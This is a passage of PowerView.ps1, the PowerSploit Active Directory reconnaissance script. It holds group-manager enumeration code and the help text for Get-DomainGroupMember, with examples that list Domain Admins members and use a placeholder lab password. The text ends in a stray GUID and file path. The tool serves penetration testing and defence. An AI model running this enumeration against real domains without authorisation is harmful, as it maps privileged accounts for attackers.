if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$TargetDomain = $Domain
}
else {
$TargetDomain = $Env:USERDNSDOMAIN
}
# go through the list of security groups on the domain and identify those who have a manager
Get-DomainGroup @SearcherArguments | ForEach-Object {
$SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid'
$SearcherArguments['Identity'] = $_.managedBy
$Null = $SearcherArguments.Remove('LDAPFilter')
# $SearcherArguments
# retrieve the object that the managedBy DN refers to
$GroupManager = Get-DomainObject @SearcherArguments
# Write-Host "GroupManager: $GroupManager"
$ManagedGroup = New-Object PSObject
$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname
$ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName
# determine whether the manager is a user or a group
if ($GroupManager.samaccounttype -eq 0x10000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
}
elseif ($GroupManager.samaccounttype -eq 0x30000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
}
$ACLArguments = @{
'Identity' = $_.distinguishedname
'RightsFilter' = 'WriteMembers'
}
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
# # TODO: correct!
# # find the ACLs that relate to the ability to write to the group
# $xacl = Get-DomainObjectAcl @ACLArguments -Verbose
# # $ACLArguments
# # double-check that the manager
# if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) {
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True
# }
# else {
# $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False
# }
$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'
$ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup')
$ManagedGroup
}
}
}
function Get-DomainGroupMember {
<#
.SYNOPSIS
Return the members of a specific domain group.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for the specified
group matching the criteria. Each result is then rebound and the full user
or group object is returned.
.PARAMETER Identity
A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202)
specifying the group to query for. Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER Recurse
Switch. If the group member is a group, recursively try to query its members as well.
.PARAMETER RecurseUsingMatchingRule
Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse.
Much faster than manual recursion, but doesn't reveal cross-domain groups,
and only returns user accounts (no nested group objects themselves).
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGroupMember "Desktop Admins"
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
'Desktop Admins' | Get-DomainGroupMember -Recurse
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : Testing Group
MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberObjectClass : group
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129
GroupDomain : testlab.local
GroupName : Testing Group
GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : harmj0y
MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108
GroupDomain : testlab.local
GroupName : Desktop Admins
GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local
MemberDomain : testlab.local
MemberName : arobbins.a
MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local
MemberObjectClass : user
MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112
.EXAMPLE
Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember
.EXAMPLE
'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins'
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
'dev\domain admins' | Get-DomainGroupMember -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins'
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local)))
GroupDomain : dev.testlab.local
GroupName 88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1